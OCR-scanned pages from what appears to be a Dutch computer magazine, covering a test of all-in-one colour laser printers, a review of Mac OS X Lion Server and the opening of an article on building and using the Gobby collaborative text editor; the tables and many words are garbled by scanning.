je soms maar op knoppen druk- 
ken, omdat het display erg klein 
is als je meerdere instellingen 
opvraagt. 


Afdrukken 

[pagInaVmlnuutj 

Grauert'brief iwart-wrt 

Graufrt-brkfkleirr 

Graueft-brief zwart-wit 

Graueft'brief kteur 

Pdl van ZOO pagiiu's Pdf W«ti Z0O 


bettri- 


duplex 

bEwr^ 

duplex ixDtT» 

HPLaser|etPmTOOM175nw 

^^^■110,2 

^3,4 

- 

- 

H3,E 

HPL3serietProtMT415b 
le:(mart( )(54Me 


1^b4,9 


- 


Samsung aX-3185HF 


H3,2 


-- 


Kopieertijden 

Iminuten/sKundenl 

E^n kopie 

Document van 10 pains's 

Document van 10 pagina's 

Einlmiiie 

Document van 10 pagina's Docuntent van 10 paghia'j 


nvart'wit 

1 1 gekopieerd 

lOxgekopieerd, kieur 


11 gekopieerd 10 x gekopieerd 


4 belsr 

■ibner 

«hCHf 

4tiM«r 

4b(lBt 4 bets 


HPU5«rj?tPti?100Ml7Siiw 1:42 27:17 

HP Usenet Pro CM1415fn ^^^■14:42 

Lexmark XS4ddt^ ■■HI 4:41 ■■10:47 ■4:42 


Samsung CLX-3185MF 


10:19 


10:56 


0:44 


2:59 


26:13 


fabrikant iets dergelijks en lijkt 
dat dus nog toekomstmuziek* 

Scanner! 

Als je iets wilt scannen, ont- 
kom je er oiet aan om met het 
document naar het apparaat te 
lopen. Van daaruit wil je wel het 
liefst meteen alles afhandelen, 
zodat je niet ook nog eens met 
software op de pc in de weer 
moet. Bij de HP LaserJet Pro 100 
kun je dat vergeten. De printer 
scant alteen vanuit een pro- 
gramma op de pc of Mac - niet 
echt wat je verwaeht van een 
wlan-apparaat 

Bij de Samsung CLX-31S5 
kun je ook op het apparaat met 
scannen beginnen, zover op de 
pc tenminste de noodzakelyke 
software gemstalleerd is om de 
pc op de printer aan te melden. 
De computer verschijnt dan als 
bestemming in het scanmenu* 
Erg handig Is dat overigens 


niet, want telkens als je gaat 
scannen wil het apparaat eerst 
allerlei details over de instel- 
1 ingen weten. Door het kleine 
display moet je jezelf dan eerst 


door een ontelbaar aantal stap- 
pen been worstelen. 

Met de HP LaserJet Pro 
CM1415 gaat dat een stuk mak- 
kelijker. Deze multifunctional 


kan zelf e-mails versturen met 
de scans als bijiage. Met het 
adresboek en het touchscreen 
is dat ook vrij goed te bedle- 
nen, Voor een echt qwerty- 


Geluidsontwikkeling 


HP Userjel Pro 100 

M175nw 

HP LaseijeT Pro 

CMUlSfn 

Lexmaric 

)(54Sdte 

Samsung 

aX-3105NF 


Kopieren ^middeld 

ldB[A)] 


Koflien&ii gemiifitelif 

[ime] 


Kopiefeit maximaal 

mm 

4^ 



Stand gemjddeld Stand-by gemJddeld 

ldB(A)) [sonej 

4 bdif 4 bdif 


73,6 - 


69,3 - 


1 67 ,€ - 


Energieverbruik 

[waltl IBt 


Eco-modus 

Stand-by 

Kupieren 


4tieter 


4liettf 

4bc» 

4 fader 


HP LaserJet Pro 100 M175n w 

■ 0,2 

IH4,7 

■110 

^■167 


HPUseiietProCMl4l5fii 

Lexmark X54S£!te 



14,7 

■■168 

an 

^7n 

Samsung QJ(-31HSNF 


■ 0,4 

^■lU 

“fU 

^^160 
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Test I All-in-one printers 


toetsenbord is Net scherm- 
pje met een diagonaal van 
8 cm heiaas te kiein, waardoor 
je toch lets minder makkelljk 
tekst intypr. 

De Lexmark X548 is met het 
18 centimeter grote kleuren- 
touchdispiay uitermate luxueus 
te bedienen en biedt enorm 
veel functies. De configuratle 
is wei wat ingewikkeld. Ais je 
het apparaat de eerste keer in 
gebruik neemt, zou je vanwege 
het geiuid bijna den ken dat het 
gaat opstijgen. Het webfront- 
end ziet er redeiijk opgeruimd 
uit, maar door het grote aantal 
insteiiingen kun je dus ook snei 
het overzicht verliezen. Het zou 
om die reden handig zijn ais 
belangrijke en minder belang- 
rijke zaken wat meer hierar- 


chisch gescheiden zouden zijn, 
Het apparaat kan ais normaie 
fax werken, maar ook worden 
geconfigureerd ais faxserver 
die faxberichten naar bepaaide 
nummers of opgeslagen e~ 
mailadressen doorstuurt. De 
bedieningsmterface is zelfs in- 
dividueei te configuferen. Ook 
kun je snelkoppeilngen voor 
vaak gebruikte functies aan- 
maken - ais je bijvoorbeeld veel 
met speciale insteiiingen kopi- 
eert. Scans zijn niet alleen per 
e-mail te versturen, maar ook 
via ftp of CIFS te uploaden naar 
een gedeelde map, 

De scantijden van dit appa¬ 
raat in de tabel op de vorige 
pagina zijn de resultaten die 
we hebben gemeten bij het 
scannen naar een usb-stick. 


Daarbij bleek de printer bij 
foto’s In 600 dpi en het maken 
van een preview de snelste, 
maar nam die bij tekst in 300 
dpi juist wat meer tijd. De kwa- 
liteit komt overeen met die 
van de andere geteste printers, 
maar de netwerkmogelijkhe- 
den zijn veel uitgebreider. 

Condusie 

Albin-one kleurenprinters voor 
rond de driehonderd euro ais 
de twee geteste HP LaserJets 
en Samsangs ClX-3185 heb¬ 
ben geen goede prijs/kwafi- 
teitsverhouding. Voor hetzeifde 
geld heb je ook een inkjet die 
foto's met een hogere kwali- 
teit afdrukt en vaak extra fea¬ 
tures biedt ais cd's bedrukken. 


Bovendien zijn de printkosten 
van de inkjets bedurdend lager. 
Een goedkope kleurenlaser is 
alleen handig ais je erg weinig 
print en je door het uttdrogen 
van de inktcartridges van een 
Inkjet dan meer kwijt bent dan 
aan het verbruiksmateriaal van 
een laserprinter. 

Print en/of kopieer je duide- 
iijk meer, dan heeft een ap¬ 
paraat ais de Lexmark X548 de 
voorkeur. Deze kan met het 
chique en bijzonder functione- 
le display en de bijbehorende 
mogelijkheden in kieine bedrij- 
ven dienen ais communicatie- 
centra le. Ondanks de vrlj hoge 
prijs van 1100 euro Is deze prin¬ 
ter in dit opzicht eigenlijk het 
enige echte koopje in deze test 
(mvdm) 


1 All-in-ones met netwerkfuncttes 

Apparaat 

Laserjet Pro 100 Color Mf P Mt7Snw 

laserjet Pro GM14l5fn 

xsmte 

CLXaiSSNF 


Fabrikant 

Hewlett-Packard 

Hewlett-Packard 

Lexmark 

Samsung 


Faicn 

Um tstand aloiie) 


v/ 




Numiners voor verkort kjezen 

- 

99 

500 

240 


Faxgeherjgen 

Kopieren 

- 

125pagina's 

max. 159 GB op hardesthijf 

4MB/200pag(na's 


Snciheid vig. fabrlkant {zw/klour) 

16 pag./niir.Mpag./min. 

11 pag./min. / 8 pag./mfn. 

B pag./Tnin. / 23 paglmln. 

16pag./min.Mpag./min. 


Schalen 

2S%lot400% 

25%tot400% 

2S%tot400% 

25% tot 400% 


Scannen 

Kleurdiepte kleuf/griis 

24 bit/8 bit 

48 bit/16 bit 

48 bit/16 bit 

24 bit/8 bit 



1200 dpi 

1200 dpi 

1200 dpi 

1200 dpi 


TwaiO'Softiware: preview 

✓ 


s/ 



Netwerkfuticties 

kan to e-mail 


(viaSMIP) 

(via SMTP) 

v^(SMTP) 


Stan to ftp 


- 


v' 


Scan to folder 

- 

- 

(vlaGfS) 



Printers in netwerk 


vZ 


- 


Pc-fa)f In network 

- 

^ (alleen zenden) 

{alleen zeoden) 

«/ (alleen zertden) 


Aldrukfceii 






PrEnttedinlek 

kleirrenlflser 

kleurenlaser 

keiirerslaser 

ktenreniaser 


Max. afdrykresoiuifo 

600 dpi 

1200 dpi 

4800dp]x 1200 dpi 

2400 dpi X 600 dpi 


Talen 

host-based 

PC16h Pfistscrrpij 

PCL 6, postscript 3 

PCL6, Postscript 3, host-based 


Besturlngssystemen 

Papieriiandling 

Windows v,a. XP Mac OS X v.a. 10.4, Linux 

Windows v.a. XP Mac OS Xv.a. 10.4, Linux 

Windows v.a. Xp. Mac OS X v.a. 1Q.4, Linux 
(via PostScript) 

Windows v.a. XP, Mac 05 X v.a. 10.4, Linux 

Papierlade {cassette) 

iSOvei 

150 vet 

lX2S0vel,lx550vel 

130 vel 


Papienjitvoer 

SOvel 

125 vel 

ISO vel 

SOvel 


Documentinvoer 

35vel 

ISvel 

SOvel 

SOvel 


Algemeen 

Aanslultingen 

ethemelwlan, USB 2.0 

etlien]et,USB2.0, usb-host 

ethemet, USB 2.0,, usb-host 

etheTnet,USB2.O,usb-h0St 


Afineiingen [h x b x d) 

14 cm X 44 cm X 42 cm 

42cmx44cmx47cm 

60 cm X 65 cm 60 x cm 

34 cm X 42 cm X 38 cm 


Gewidit 

16 kg 

23 kg 

32 kg 

15 kg 


Beoordeling 






Tekst printen (zw7kleur) 

@©/®@ 


@0/©© 

@@/@© 


Foto's prlnten 

@ 

© 

© 

O 


ScankwalEteit 

O 

O 

O 

O 


Kopleerkwalltelt tekst (zw/kleur] 

©/© 

©/© 

©/© 

©/© 


Kflpleerkwalltertfofo 

O 

O 

O 

0 


Funclieomvang network 

©0 

O 


0 


rabrieksgarantie 

ijaar exchange 

1 jaar exchange 

1 Jaar Onsite Service, Next Business Day 

2 jaar 


Straatprijs 

€300 

€350 

€ 1500 tK54ade€ 1100) 

€375^ 


* gemiddeld over alle varlanteit (zle tekst) 

zeer qoed © gaed O voldoende 

©slecht ©©zeerslecfit aanwezig 

- nietaanwezig p.geenopgave 


dt 
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VIDEO 


Supercompact 

Mac OS X Lion Server 

Apples Lion Server is niet alleen bedoeld voor bedrijven, maar ook voor 
kleinere werkgroepen en prive-gebruikers. In plaats van de functies voor 
Windows-netwerken uit te breiden, concentreert Apple zich juist op Macs en 
iOS-apparaten. Met een eenvoudigere bediening en een lagere prijs moet het 
serverbesturingssysteem populairder worden. 


Markus Stobe, Dusan Zivadinovic 


A ls je netwerk uit meer dan een com¬ 
puter bestaat wil je al snel een eigen 
server. Als je alleen wift dat je bestan- 
den op alle computers beschikbaar zijn, dan 
kies je voor een NAS. Heb |e daarnaast de 
behoefte aan een eigen wiki voor je gezin, 
een mailserver voor de werkgroep of een 
VPN-server voor je start-upbedrijf, dan heb 
je een volledige server met bijpassend be¬ 
st u rings systeem nodig - maar dat loopt vaak 
behoorlijk in de papieren. 

De goed gevuldfe dvd van Snow Leopard 
Server kostte bijvoorbeeld maar Mefst SOO 
euro. Opvolger Lion Server is in dat opzicht 
duidelijk bescheidener: voor 40 euro kun je 
via de App Store een uitbreidingspakket van 
siechts 14,5 MB voor Lion downloaden. Dat 


is ook meteen de enige manier om eraan te 
komen. 

De serverupdate voor Mac OS X 10.7 be- 
landt vervolgens met enkele kiikken op 
je computer. In de map met programma's 
staat dan het programnna ’Server; dat bij de 
eerste start de 'ServerEssentials' van Apple 
downloadt Naast 17 servervoorzieningen 
(zie tabel) belanden ook Xsan Admin, Adap^ 
tive Firewall, ServerSackup, een heleboel 
Python- en Ruby-frameworks en Launch- 
Daemons, Password Server, Podcast Producer, 
Drskspacemonitor, Profile Manager, de Ser- 
verManager-daemon en uiteindelijk ook het 
programma ServerSetup op de harde schijf. 

Daarna voert Servenapp een basiscon- 
figuratie van de server uit, waarbij de ac- 


tuele instellingen van je Mac worden ge- 
bruikt, bijvoorbeeld voor het netwerk en de 
bestandsdeling. Op basis daarvan worden 
enkele parameters ingesteld, waaronder de 
internethostnaam van het a p para at. Vervoi- 
gens maakt het programma SSL-certificaten 
aan, waarin deze naam aan het zoekdomein 
van het Ian wordt gelinkt. A!s de instellingen 
van de Mac die je als basis gebruikt juist zijn, 
bespaart je dat veel typwerk. 

Ats ze niet goed zijn, omdat je de server 
bijvoorbeeld in een NAT-omgeving hebt 
draaien en naar buiten toe een ander do- 
mein gebruikt dan in het Ian, worden de au- 
tomatisch gegenereerde certificaten aan een 
verkeerde naam gelinkt en moet je handma- 
tig weer compleet van vooraf aan beginnen. 
Makkelijk is dat niet. Het certificaatbeheer 
is namelijk in tegenstelling tot wat je van 
Apple gewend bent, vrij onoverzichtelijk. 

Een pluspunt is het feit dat het netwerk in 
comblnatie met Apples eigen Airport auto- 
matisch wordt geconfigureerd. Server heeft 
een aparte userinterface voor portmapping 
van de eigen AirPort-router. Hier stel je als 
administrator handmatig in welke actieve 
services {in Apple-taal: voorzieningen) open- 
baar moeten zijn. De hiervoor noodzakelijke 
portforwarding wordt {na authenticatie op 
de router) vervolgens automatisch gecon¬ 
figureerd. De forwards kunnen op dezelfde 
manier met een muisklik weer ongedaan 
worden gemaakt. Automatische portforwar- 
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ding in combinatle met routers van andere 
fabrikanten zou voor Apple geen uitdaging 
moeten zijn - veei moderne routers onder- 
steunen biervoor het door Microsoft ontwik- 
kelde protocol UPnP. In Cupertino word je 
echter bestraft als je zo’n router koopt, want 
dan moetje zelf de portforwarding configu- 
reren. 

Controlecentrum 

Het programma Server is het centrale toe- 
gangspunt voor alle onderdelen van de ser¬ 
ver. Hierin start en stop je elke voorziening, 
wijzig je insteliingen of kun je de belasting 
van de computer bekijken. 

De bestands- en printerdejlng zijn al be- 
kend van de ciientversie, De servervarianten 
kunnen hetzeffde en zrjn net zo makkelijk 
te bedienen. Lion Server kan mappen en 
bestanden ook via het WebDAV-protocol in 
het netwerk aanbiedea zodat je er makkelij- 
ker met programma's als Pages^ Keynote en 
Numbers op lOS-apparaten bij kunt 

Qua Samba-ondersteuning werd al vroeg 
duidelijk dat Apple een eigen weg wilde be- 
wandelen. Cupertino heeft problemen met 
GPLv3, de licentie waaronder het alternatief 
voor Windows Server sinds enige tijd wordt 
ontwikkeld Apple heeft Lion zodoende een 
eigen SMB-implementatle gegeven: de dae- 
mon voor het delen van schijven (smbd) on- 
dersteunt volgens man page als experiment 
de protocol variant SMB2, die Microsoft bij 
Vista introduceerde. In hoeverre Apple met 
deze implementatie geslaagd is, moet nog 
blijken - SMB is vanwege de vele dialecten 
behoortijk breed. 

Zonnig tot bewoikt 

Via Server hebje met enkele kltkken ook toe- 
gang tot CalDAV- en CardDAV-servers. Beide 
voorzieningen zijn ook handmatig te conft- 
gureren, maar dat kost wel even wat werk. 
Vergeleken met Snow Leopard Server en 


de eigen opiosstngen ondersteunt Lion ook 
pushberichten. Bij invoer van een Apple-1 D 
werkt hetautomatisch op zowel OS X-dients 
als op apparaten met iOS 5, 

De agendaserver had al vanaf het begin 
een webinterface. Net als bij MoblleMe en 
andere webdiensten kun je hiermee Je af- 
spraken makkelijk in de browser bekijken en 
bewerken. Met Mobile Safari krljg je op iOS- 
apparaten alleen te lezen dat je de agenda- 
app kunt gebruiken om toegang te krijgen 
tot de CalDAV-server. 

Ook de ma if server is snel geactiveerd De 
basis van deze voorziening wordt gevormd 
door het moderne Dovecot en het Unix- 
werkpaard Postfix. Beide zijn van hois voor- 
bereid op SSL-versleuteling. Het spamfilter 
en het antivirusprogramma worden automa- 
tisch geintegreerd - zo hoort het. Ook hier 
zijn met SpamAssassin en ClamAV twee be- 
kende programma's vertegenwoordigd Re¬ 
laying, ofwel het versturen van mails via een 
externe mailprovider, is met enkele klikken 
geconfigureerd. 

Op dft gebied wordt - net als op veel an¬ 
dere - duidelijk dat Apple de server zo een- 
voudig mogelijk probeert te houden. Met de 
basisinstellingen werkt het in principe alle- 
maal out-of-the box en hoef je er verder dus 
niets aan te doen. Alleen voor enkele spe- 
ciale gevallen en voor het onderhoud van 
een draaiende server geldt nog steeds dat je 
wat van de werking en de conflguratie moet 
afweten - net als bij elke andere server. Op 
de website van Apple is in elk geval nog wat 
uitvoerigere informatie over diepgaandere 
onderwerpen te vinden (zie de softlink aan 
het eind van dit artikel), 

De Webserver kan, in tegensteliing tot die 
van de dient-'versie, direct meerdere web¬ 
sites tegelijkertijd hosten. Vergeleken met 
oudere versies van 05 X Server biedt de In¬ 
terface echter beduidend minder optles- Zo 
ontbreekt een mogelijkheid om een alias te 
maken of een uri door te sturen. Ook kun je 
het aantal maximaal toegestane verbindin- 
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gen of time-outs niet instellen. Op de achter- 
grond werkt een Apache-installatie. Server 
heeft de bijbehorende items en die van de 
webinterface van de geintegreerde wiki¬ 
server gedownload met het pakket 'Server 
Essentials’. Ook het Proflelbeheerzlt daarin. 


Admins favoriet 

Met het Profielbeheer is het een eitje om 
insteliingen voor andere Macs of iOS-appa- 
raten door te geven. Net als bij het confi- 
guratieprogramma op de iPhone kun je als 
administrator m profielen vastleggen wat 
een Mac-gebruiker wel of niet mag - bijvoor- 
beeld welke programma's een gebmikerziet, 
welke netwerkschijven automatisch moeten 
worden gemount enz. De admin kan daar- 
naast beperklngen opieggen als het uitscha- 
kelen van de App Store of de dvd-dflve. 

Als je een account op de server hebt 
staan, kun je Je aanmelden bij het Profiet- 
beheer en daar insteliingsbestanden down- 
loaden. Je kunt ze ook per e-mail op nieuwe 
apparaten zetten. Op die manier krijgen ge- 
bruikers ook insteliingen voor nieuwe prln- 



Server Admin en Workgroup Manager moetje via 
de Server Admin Tools nog extra installeren. 


Via het Profielbeheer worden de instellin- 
gen voor e-mail, VPN, printers en andere 
zaken naar de clients gedownload. Latere 
wijzigingen kunnen via pushberichten 
worden doorgevoerd. 
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ters of een VPN-verbinding naar hun eigen 
network, zonder ook maar iet$ te hoeven 
intypen. Wijzigingen aan een profiel kunnen 
via een pushbericht naar de betreffende ap- 
paraten worden verstuurd - als ze tenmlnste 
zfjn aangemeld voor beheer op afstand. In 
dat geval kan de administrator de profielen 
ook op afstand wissen, mochten de appara- 
ten onverhoopt worden gestolen. 

Tot dusver hadden alleen vrij grote en 
dure prog ram ma's als Absolute Manage en 
Equinux Tarmac zulke mogelijkheden om 
Macs en lOS-apparaten op afstand te behe* 
ren. Ze werden om die reden dan ook vaak 
alleen in grote re bedrijven gebruikt. Toch is 
remote access ook handig als je maar enkele 
apparaten hoeft te beheren, bijvoorbeeld 
die van je kinderen* Je hoeft de een of an- 


dere aanpassing dan niet op elk apparaat 
afzonderfijk door te voeren, maar stuurt de 
wijzigingen gewoon met een druk op de 
knop via het netwerk. 

Ook zit in Server een Tlme-Machine-ser- 
ver. Via de grafische interface kun je alleen 
de locatie voor een back-up ('reservekopie') 
selecteren en Time Machine aan- of uitzet- 
ten. Het is niet mogelljk om voor afzonder- 
lijke gebruikers, groepen of instell ingen in 
te stellen hoeveel back-ups per gebruiker 
om de zoveel tijd gemaakt moeten worden. 
Je conflgureert back-ups voor de server zetf 
overigens nog steeds via de knop Time Ma¬ 
chine in de Systeemvoorkeuren “ net als bij 
de clientversie van 05 X. 

Als laatste van de aangeboden services 
hebben we nog de Podcast- en iChat-server 



Een WebDAV- 
server is stan- 
daard gemstal- 
leerd en biedt 
toegang tot 
shares via iPad 
en consorten. 


Omdat de server in het eigen netwerk zit, 
heeft iChat nu duidelijk meer performance 
en lopen audio- of videochats veei vloeien- 
der dan via een server op internet Boven- 
dien btijven a lie berichten in het eigen 
netwerk. Hetzelfde gefdt voor de Podcast- 
server. In plaats van een filmpje over een 
bepaaide bedrijfstraintng tig keer van een 
externe server te moeten streamen, staat het 
nu in het eigen Ian. 

Een VPN-server zorgt ervoor dat je onder- 
weg een veilige verbinding naar je eigen 
netwerk kunt maken. Standaard wordt nu 
het L2TP-/IPSec-protocol gebruikt PPTP is 
coder Lion Server alleen nog via de com¬ 
mandline in te stellen. 

Ondanks dat een eigen Domain Name Ser¬ 
ver standaard geactfveerd is, kun je daar onder 
Server niets voor instellen (caching-only-mo¬ 
de). Het zou mooi zijn ais we hetzelfde over 
DNSSEC zouden kunnen zeggen, maar he- 
laas. In de standaardconfiguratie kan je eigen 
name-server dus niet controleren of de ont- 
vangen gegevens in orde zIjn en of de boven- 
Itggende DNS eigenlljk wel te vertrouwen is. 

Meer nodig? 

In de vorige versies stonden in de Server Ad¬ 
ministration Tools nog veel meer Instel moge¬ 
lijkheden die nu standaard ontbreken. Mocht 
je die toch nodig hebben, dan kun je ze nog 
steeds bij Apple down loaden (zie softlink). De 
verzameling bevat de niet-Nederlandstalige 
program ma's Podcast Composer, Server 
Admin, Server Monitor, System Image Utility, 
Workgroup Manager en Xgrid-Admin. 

Server Admin heeft instelmogelijkheden 
voor nog meer voorzieningen, maar iang 
niet voor alle die ook in oudere versies van 
OS X Server zaten. Enkele instellmgen, zoals 
die voor de Webserver, zitten ook in het nieu- 
we Server. Maar andere ontbreken, waa rover 
later meer. Verder heeft Server Admin con- 
figuratiemogelijkheden voor ondermeer de 
protocoilen NTP en SNMP en voor de servi¬ 
ces NAT, Open Direaory, Net Boot, Radius 
en Software Update. Ook de DNS-server, de 
firewall en de DHCP-server zijn uitgebreider 
te configureren. 

Net als bij de mstellingen onder Server 
heeft ook Server Admin een sectie voor de 
mailserver. Hier staan je geavanceerdere in- 
stellingen die je voor simpel 'thuisgebruik’ in 
eerste instance niet nodig hebt, waa render 
de omgang met onbestelbare e-mails, het 
maximum aantal gelijktijdige IMAP-verbin- 
dingen en de configuratie voor het doorstu- 
ren van mails, filters, mailinglists en quota's. 

Met Workgroup Manager kun Je gebrul- 
kers en groepen in de Open Directory veel 
uitgebreider bewerken dan met het pro¬ 
gramme Server. De administrator kan per 
gebruiker, computer en groep bijvoorbeeld 
basisinstellingen als weergaveopties in de 
Finder, het pad naar de homedi rectory of 
het ouderlijk toezicht regelen. Deels zijn 
de mogelijkheden met het nieuwe Profiel- 
beheer overlap pend. Het grote voordeel van 
Workgroup Manager Is dat de instellingsbe- 
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De mailserver heeft 
een spamfilter en 
viruskiller. Op de 
achtergrorid werken 
Dovecot, ClamAV en 
SpamAssassin, 
Jekunt eventueel 
ookeen biacklist- 
server mstellen. 



standen ook werken met oudere Macs waar^ 
op geen Lion ge’mstalleerd staat 

Op de Lion-server draait net ais bij de 
desktopversie een bijgewerkte IP-stack. 
In tegenstelling tot de oudere versies kan 
de nieuwe versie 2009/apple-darwin IPv6- 
adressen ook automatisch ophalen a Is er 
geen IPv4-infrastructuur aanwezig is. Bo- 
vendien wordt (via rdnssd) het adres van de 
DNS-server In het netwerk opgevraagd. Het 
gaat in beide gevallen om verbeteringen 
waarvan niet iedereen meteen de meer- 
waarde zal zien, maarals IPv6 straks echt van 
de grond gaat komen, zullen ze absoluut be- 
langrijkworden. 

De grafische user-interface van de ge- 
integreerde firewall ondersteunt net als 
onder Snow Leopard Server alleen IPv4, 
Server downloadt de eerste keer ook de 
instellingen voor tPv6, maar daar heb je 
weinig aan: alle pakketten voor het multi- 
castgedeelte ff02::/16 worden opgehaald, 
maar degene die voor IPv6 essentieel ztjn, 
worden geblokkeerd (bijv. Neighbour¬ 
hood Discovery en Router Solicitation). 
Om het pakketfilter ook voor iPv6 correct 
in te stellen, moet je gebruikmaken van de 
comma ndlinetool ip6fw* Anders dan voor- 
been verloopt dat onder Snow Leopard 
viekkeloos. ip6fw is op Lion namelijk goed 
gecompileerd voor de 64-bit architectuur, 
Het makkeitjkst kun je de juiste basisinstel- 
lingen voor IPv6 met onze firewall-package 
instellen (zie softlink). 

Er ontbreekt nog wat 

Al met al biedt Lion Server een heleboel 
voorzieningen, Maar kijk je wat beter, dan 
ontbreken er nog toch enkele uit de oude¬ 
re versies. Zo lijkt de QuickTime Streaming 
Server tot het verleden te behoren en is de 
ondersteuning voor Windows-computers 
teruggeschroefd, Daarnaast biedt Lion Ser¬ 
ver alleen toch nog Open Directory en kan 
hij niet als primal re Domain Controller die- 
fien. Met Open Directory kunnen Windows- 
gebruikers de services van de server, zoals 
bestandsdeling, nog steeds gebruiken. Wil 
je dan echter de homedirectory r^aar de 
server verplaatsen, dan moet je ook een 
Active Directory Server hebben. 

Mac-gebruikers kunnen in combinatie 
met de geintegreerde NetBoot-server van 
alle mogelijkheden gebruikmaken. Je kunt 
alleen de inloginformatie op de server op- 
siaan, maar ook de homedirectory erbij zet- 
ten en zelfs de complete computer via het 
netwerk booten, 

Conclusie 

Lion Server is een duidelijke stap vooruit. 
De prijs/kwaliteitsverhouding is heel goed. 
Voor de oude prijs had je het er nog voor 
over om de een of andere serverfunctie 
handmatig toe te voegen, maar bij Lion 
Server loont dat de moeite niet, Het ge- 
bruik van een server is echter ook weer niet 
zo makkeiijk als Apple suggereert. 


Als je nog nooit met een server hebt ge- 
werkt, helpt het gelijknamige program ma 
je een heel eind op weg, De meeste stan- 
daardinstellingen zijn nuttig, waardoor je 
niet dagen hoeft te configureren. Draait de 
server eenmaal, dan heb je toch nog wat 
meet knowhow nodig. 

Professionals en administrators in be- 
drijven zullen toch wat meer nodig heb- 
ben dan alleen het programma Servenapp. 
De apart te installeren Engelstalige Server 
Admin Tools brengen je een flink stuk ver- 
der, maar ook daarmee heb je niet exact 
dezelfde functies als bij Snow Leopard 
Server. Sommigen zullen Lion Server niet 
gaan gebruiken door de beperktere onder¬ 
steuning voor Windows-clients. Mac- en 


iOS-gebruikers profiteren uiteraard van 
het feit dat Apple zich focust op haar eigen 
platform. 

De voordelen van Lion Server zijn de 
mailserver met spam- en virusfilter, de 
nieuwe wiki-server en de pushberichten, 
Samen met de WebDAV-ondersteuning 
voor iOS-apparaten Is Lion Server hiermee 
vooral een aanrader voor administrators 
van workgroups die alleen met Apple- 
hardware werken. Zij profiteren met name 
van het nieuwe Profielbeheen waarmee het 
apparaatbeheer en onderhoud een stuk 
makkelijker wordt. Oat alleen al is de inves- 
tering van 40 euro waard. (mvdm) 

^Softlink 11 t2U6 dE 




In het 
Engelstalige 
Server Admin 
zitten geavan- 
ceerde instelmo- 
gelijkheden voor 
bijvoorbeeld de 
firewall, DNSen 
DHCRJe kunt 
hier services 
als Netboot en 
Software Update 
active ren. 
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Andrea Muller 

Schrijfcommunity 

Samen tegelijk aan teksten werken 

Ais Je met meerdere mensen tegelijk aan dezelfde tekst werkt, moet je onderling 
goedeafspraken maken.Teksteditor Cobby helpt je hierbij een handje, want 
hiermee kun je samen aan dezelfde overgangsalinea's en tekstpassages werken 
zonderdat je elkaar dwarszit, Bovendien hoef je je gegevens niet meeraan een 
webservice als Google Documenten toe te vertrouwen. 


e deadline nadert en een tekst heeft 
wat vertraging opgelopen, Drie redac- 
teuren verdrsngen zich om een pc en 
proberen via de coifega achter het toetsenbord 
de laatste correcties aan te brengen: '’Daar ont- 
breekt nog een komma'i "die afkorting daar 
moet nog wat verder uitgelegd worden” "in 
de derde regel tweede kolom, zijn twee tetters 
omgewisseld'l Alleen een uiterst koelbtoedige 
redacteur bewaart dan nog de rust en het over- 
zicht om in deze chaos van correctlevoorstellen 
en discussies over de juiste Nederlandse spel¬ 
ling het hoofd koel te houden. Maar utteindelijk 
Wit jedit soort scenario's natuuiiijk het liefst ver- 
mijden, maar hoe? De tekst via e-mail naar alle 
deelnemers sturen is geen optie. Dan moet je 
nog steeds alle wijzigingen samenvoegen. 

In scenario's als deze, of als er meerdere au¬ 
teurs voor hetzelfde tekstgedeelte verantwoor- 
delijk zijn, is het beter om een group editor te 
gebruiken, waarmee meerdere auteurs tegelijk 
via internet of het lokale netwerk aan dezelfde 


tekst kunnen werken. De wijzigingen van ie- 
dere auteur verschijnen in een eigen kleurtje 
in realtime op het scherm van de medeauteurs, 
Om onderling af te stem men wie zich met een 
bepaald tekstgedeelte bezighoudt is het han- 
dig als er in de editor ook een chatclient is ge- 
integreerd. 

Voor dit soort klussen kun je op zich oak 
gebruik maken van webdiensten als Google 
Documenten. Maar voor vertrouwelijke of con¬ 
current! egevoelige gegevens is dan eigenlijk 
geen optie. Het is beter om die binnenshuls 
te houden. In dat geval biedt Gobby uitkomst 
Het programma werkt volgens een dient-ser- 
vermodel waarbij de server (1nfi noted') de ses- 
sie beheert en de chatfunctionaltteit aanbiedt 
Alle gebruikers kunnen zich dan voor elke ses- 
sie aanmelden met het serverwachtwoord en 
het grafische programma Gobby om de daarin 
geo pen de teksten te be werken. We Ik bestu- 
rlngssysteem de gebruikers hebben, is relatief 
onbelangrijk want Gobby is er voor Linux, Mac 


OS en Windows. Alleen voor de server is een 
Linuxsysteem nodig. 

Omdat de major releases van het pro¬ 
gramma niet onderling compatibel zijn, moet 
je voordat je Gobby installeert eerst met de 
andere auteurs afspreken welke versie van het 
programma je gaat gebruiken. Versie 0.4 is een 
stablele versie, maar kan geen tekstuele wijzi¬ 
gingen ongedaan maken. In de eerste versies 
kon je nog wel een wijziging ongedaan maken, 
maar dat had alleen betrekking op de laatste 
verandering - dus niet noodzakelijkerwijs op 
je eigen tekstwijzigingen. De ontwikkelaars 
waren hie rover niet tevreden en he b ben de 
undo-functie uit versie 0.4 verwijderd. Omdat je 
deze functie normaalgesproken niet kunt mis- 
sen, raden we je aan de meest recente develop- 
mentversie te gebruiken van wat uiteindeiijk 
versie 0,5 moet worden. 

Voor Mac OS is er een binaire build die je 
via de pakketmanager Macports kunt installe- 
ren, voor Windows Is er een installer en onder 
Linux kunnen alleen gebruikers van Ubuntu 
en Debian gebruikmaken van kant-en-klare 
pakketten (gobby-0.5 onder Ubuntu, gobby- 
infinote onder Debian). Gebruikers van andere 
distributies moeten de bibliotheek libinfinity en 
Gobby zelf compileren. De Windows- en Mac- 
versie van Gobby evenals de gezipte broncode 
voor Li nuX is te down! oaden vi a de we bsite va n 
Gobby (httpy/gobby.Ox539.de). 

Om problemen bij het compileren te voor- 
komen, moet je zorgen dat naast de compilers 
gcc en gcc-c++ de volgende programmabl- 
bliotheken indusief ontwikkelpakketten zijn 
geinstalleerd: Iibgtkmm2.4, [ibglibmm2.4, 
libxml-i-i-2.6, libgasl, gnutls, Itbxml2, Ilbglib2.0 
en gtksourceview. Afhankelijk van de distributie 
eindigen de namen van de ontwikkelpakketten 
op '-devei'of'-dev'. 

Daarna kun je libinfinity van de Gob by-site 
downloaden en compileren met de volgende 
opdrachten: 

./configure -with-inftextgtk -wlth-infgtk 
make 

make install 

Het invoeren van het volgende commando 

export PKG_CONnG_PATH-$PKG^C0NFIG^PATH:/ 

/ usrAocal/lih/pkgconfig 

zorgt ervoor dat de zojuist gecompileerde bi¬ 
bliotheek libinfinity tijdens het compileren van 
Gobby zelf ook gevonden wordt De teksteditor 
compileer je heel eenvoudig in drie stappen: 
iconfigure; make; make install. 

Voordat er aan teksten gewerkt kan worden, 
